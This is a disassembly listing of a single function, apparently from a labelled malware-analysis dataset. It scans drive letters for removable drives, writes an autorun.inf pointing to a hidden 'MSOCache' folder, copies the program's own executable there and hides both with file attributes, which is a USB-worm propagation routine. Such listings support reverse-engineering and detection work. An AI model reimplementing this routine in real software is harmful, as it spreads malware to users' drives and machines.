Function at 0x40d64c
Capabilities:
Copy file
Get disk information
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff48
mov eax, 0x4c6f50
call fcn.004a2f4c
mov dword [ebp - 0x88], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004acfec
inc dword [ebp - 0x88]
mov word [ebp - 0x94], 8
mov word [ebp - 0x94], 0x14
lea eax, [ebp - 4]
call fcn.00401d74
inc dword [ebp - 0x88]
mov word [ebp - 0x94], 8
mov dword [ebp - 0xa8], 0x43
mov word [ebp - 0x94], 0x20
mov dl, byte [ebp - 0xa8]
lea eax, [ebp - 8]
call fcn.004ad084
inc dword [ebp - 0x88]
lea edx, [ebp - 8]
lea eax, [ebp - 4]
call fcn.004ad100
dec dword [ebp - 0x88]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004ad0d0
mov word [ebp - 0x94], 0x2c
lea eax, [ebp - 0x10]
call fcn.00401d74
push eax
inc dword [ebp - 0x88]
mov edx, 0x4c2cbc
lea eax, [ebp - 0xc]
call fcn.004acfb4
inc dword [ebp - 0x88]
lea edx, [ebp - 0xc]
lea eax, [ebp - 4]
pop ecx
call fcn.004ad114
lea edx, [ebp - 0x10]
lea eax, [ebp - 4]
call fcn.004ad100
dec dword [ebp - 0x88]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x88]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004ad0d0
push dword [ebp - 4]
call fcn.00401ec4
pop ecx
push eax
call sub.KERNEL32.DLL_GetDriveTypeA
cmp eax, 2
jne 0x40ddc2
mov word [ebp - 0x94], 0x38
lea eax, [ebp - 0x18]
call fcn.00401d74
push eax
inc dword [ebp - 0x88]
mov edx, 0x4c2cbe
lea eax, [ebp - 0x14]
call fcn.004acfb4
inc dword [ebp - 0x88]
lea edx, [ebp - 0x14]
lea eax, [ebp - 4]
pop ecx
call fcn.004ad114
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x1c]
call fcn.00401d74
mov ecx, eax
inc dword [ebp - 0x88]
lea edx, [ebp + 8]
pop eax
call fcn.004ad114
lea eax, [ebp - 0x1c]
mov eax, dword [eax]
call fcn.00455f6c
xor edx, edx
mov dl, al
cmp edx, 1
sbb ecx, ecx
neg ecx
push ecx
dec dword [ebp - 0x88]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x88]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x88]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004ad0d0
pop ecx
test cl, cl
je 0x40ddc2
mov dl, 1
mov eax, dword [0x446994]
call fcn.00401f7c
mov dword [ebp - 0xac], eax
mov word [ebp - 0x94], 0x44
mov edx, str._AutoRun_
lea eax, [ebp - 0x20]
call fcn.004acfb4
inc dword [ebp - 0x88]
mov edx, dword [eax]
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
call dword [ecx + 0x38]
dec dword [ebp - 0x88]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.004ad0d0
mov word [ebp - 0x94], 0x50
lea eax, [ebp - 0x24]
call fcn.00401d74
mov ecx, eax
inc dword [ebp - 0x88]
lea edx, [ebp + 8]
mov eax, str.openMSOCache_
call fcn.004ad414
lea edx, [ebp - 0x24]
mov edx, dword [edx]
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
call dword [ecx + 0x38]
dec dword [ebp - 0x88]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.004ad0d0
mov word [ebp - 0x94], 0x5c
lea eax, [ebp - 0x28]
call fcn.00401d74
mov ecx, eax
inc dword [ebp - 0x88]
lea edx, [ebp + 8]
mov eax, str.shellexecuteMSOCache_
call fcn.004ad414
lea edx, [ebp - 0x28]
mov edx, dword [edx]
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
call dword [ecx + 0x38]
dec dword [ebp - 0x88]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.004ad0d0
mov word [ebp - 0x94], 0x68
lea eax, [ebp - 0x2c]
call fcn.00401d74
mov ecx, eax
inc dword [ebp - 0x88]
lea edx, [ebp + 8]
mov eax, str.shellAutocommandMSOCache_
call fcn.004ad414
lea edx, [ebp - 0x2c]
mov edx, dword [edx]
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
call dword [ecx + 0x38]
dec dword [ebp - 0x88]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.004ad0d0
mov word [ebp - 0x94], 0x74
mov edx, str.shellAuto
lea eax, [ebp - 0x30]
call fcn.004acfb4
inc dword [ebp - 0x88]
mov edx, dword [eax]
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
call dword [ecx + 0x38]
dec dword [ebp - 0x88]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.004ad0d0
xor ecx, ecx
mov dword [ebp - 0xb0], ecx
mov word [ebp - 0x94], 8
xor eax, eax
mov dword [ebp - 0xb4], eax
mov dl, 1
mov eax, dword [0x446c84]
call fcn.00401e1c
mov dword [ebp - 0xb8], eax
mov word [ebp - 0x94], 0x80
lea eax, [ebp - 0x34]
call fcn.00401d74
mov edx, eax
inc dword [ebp - 0x88]
mov ecx, dword [0x4d45c8]
mov eax, dword [ecx]
call fcn.0048dea4
lea edx, [ebp - 0x34]
mov edx, dword [edx]
mov eax, dword [ebp - 0xb8]
call fcn.0044ba98
dec dword [ebp - 0x88]
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.004ad0d0
mov eax, dword [ebp - 0xb8]
call fcn.0044b32c
mov dword [ebp - 0xb4], eax
mov edx, dword [ebp - 0xb8]
mov dword [ebp - 0x3c], edx
cmp dword [ebp - 0x3c], 0
je 0x40da34
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ecx]
mov dword [ebp - 0x38], eax
mov word [ebp - 0x94], 0x98
mov edx, 3
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x94], 0x8c
push dword [ebp - 4]
call fcn.00401ec4
pop ecx
push eax
call fcn.0040d5e8
pop ecx
mov dword [ebp - 0xb0], eax
mov edx, dword [ebp - 0xb0]
cmp edx, dword [ebp - 0xb4]
jle 0x40dd8c
mov word [ebp - 0x94], 0xa4
lea eax, [ebp - 0x44]
call fcn.00401d74
push eax
inc dword [ebp - 0x88]
mov edx, 0x4c2d21
lea eax, [ebp - 0x40]
call fcn.004acfb4
inc dword [ebp - 0x88]
lea edx, [ebp - 0x40]
lea eax, [ebp - 4]
pop ecx
call fcn.004ad114
lea eax, [ebp - 0x44]
mov eax, dword [eax]
call fcn.00467848
dec dword [ebp - 0x88]
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x88]
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.004ad0d0
push 1
mov word [ebp - 0x94], 0xb0
lea eax, [ebp - 0x4c]
call fcn.00401d74
push eax
inc dword [ebp - 0x88]
mov edx, 0x4c2d2b
lea eax, [ebp - 0x48]
call fcn.004acfb4
inc dword [ebp - 0x88]
lea edx, [ebp - 0x48]
lea eax, [ebp - 4]
pop ecx
call fcn.004ad114
lea edx, [ebp - 0x4c]
push edx
lea eax, [ebp - 0x50]
call fcn.00401d74
mov ecx, eax
inc dword [ebp - 0x88]
lea edx, [ebp + 8]
pop eax
call fcn.004ad114
lea edx, [ebp - 0x50]
push dword [edx]
call fcn.00401ec4
pop ecx
push eax
lea eax, [ebp - 0x54]
call fcn.00401d74
mov edx, eax
inc dword [ebp - 0x88]
mov ecx, dword [0x4d45c8]
mov eax, dword [ecx]
call fcn.0048dea4
lea edx, [ebp - 0x54]
push dword [edx]
call fcn.00401ec4
pop ecx
push eax
call sub.KERNEL32.DLL_CopyFileA
dec dword [ebp - 0x88]
lea eax, [ebp - 0x54]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x88]
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x88]
lea eax, [ebp - 0x4c]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x88]
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.004ad0d0
mov word [ebp - 0x94], 0xbc
lea eax, [ebp - 0x5c]
call fcn.00401d74
push eax
inc dword [ebp - 0x88]
mov edx, 0x4c2d36
lea eax, [ebp - 0x58]
call fcn.004acfb4
inc dword [ebp - 0x88]
lea edx, [ebp - 0x58]
lea eax, [ebp - 4]
pop ecx
call fcn.004ad114
lea edx, [ebp - 0x5c]
mov edx, dword [edx]
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
call dword [ecx + 0x74]
dec dword [ebp - 0x88]
lea eax, [ebp - 0x5c]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x88]
lea eax, [ebp - 0x58]
mov edx, 2
call fcn.004ad0d0
push 0x16
mov word [ebp - 0x94], 0xc8
lea eax, [ebp - 0x64]
call fcn.00401d74
push eax
inc dword [ebp - 0x88]
mov edx, str._autorun.inf
lea eax, [ebp - 0x60]
call fcn.004acfb4
inc dword [ebp - 0x88]
lea edx, [ebp - 0x60]
lea eax, [ebp - 4]
pop ecx
call fcn.004ad114
lea edx, [ebp - 0x64]
push dword [edx]
call fcn.00401ec4
pop ecx
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
dec dword [ebp - 0x88]
lea eax, [ebp - 0x64]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x88]
lea eax, [ebp - 0x60]
mov edx, 2
call fcn.004ad0d0
push 0x16
mov word [ebp - 0x94], 0xd4
lea eax, [ebp - 0x6c]
call fcn.00401d74
push eax
inc dword [ebp - 0x88]
mov edx, str.MSOCache_
lea eax, [ebp - 0x68]
call fcn.004acfb4
inc dword [ebp - 0x88]
lea edx, [ebp - 0x68]
lea eax, [ebp - 4]
pop ecx
call fcn.004ad114
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x70]
call fcn.00401d74
mov ecx, eax
inc dword [ebp - 0x88]
lea edx, [ebp + 8]
pop eax
call fcn.004ad114
lea edx, [ebp - 0x70]
push dword [edx]
call fcn.00401ec4
pop ecx
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
dec dword [ebp - 0x88]
lea eax, [ebp - 0x70]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x88]
lea eax, [ebp - 0x6c]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x88]
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.004ad0d0
push 0x16
mov word [ebp - 0x94], 0xe0
lea eax, [ebp - 0x78]
call fcn.00401d74
push eax
inc dword [ebp - 0x88]
mov edx, str.MSOCache
lea eax, [ebp - 0x74]
call fcn.004acfb4
inc dword [ebp - 0x88]
lea edx, [ebp - 0x74]
lea eax, [ebp - 4]
pop ecx
call fcn.004ad114
lea edx, [ebp - 0x78]
push dword [edx]
call fcn.00401ec4
pop ecx
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
dec dword [ebp - 0x88]
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x88]
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.004ad0d0
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x80], ecx
cmp dword [ebp - 0x80], 0
je 0x40ddc2
mov eax, dword [ebp - 0x80]
mov edx, dword [eax]
mov dword [ebp - 0x7c], edx
mov word [ebp - 0x94], 0xf8
mov edx, 3
mov eax, dword [ebp - 0x80]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x94], 0xec
inc dword [ebp - 0xa8]
cmp dword [ebp - 0xa8], 0x5a
jle 0x40d6ad
dec dword [ebp - 0x88]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x88]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004ad0d0
mov ecx, dword [ebp - 0xa4]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret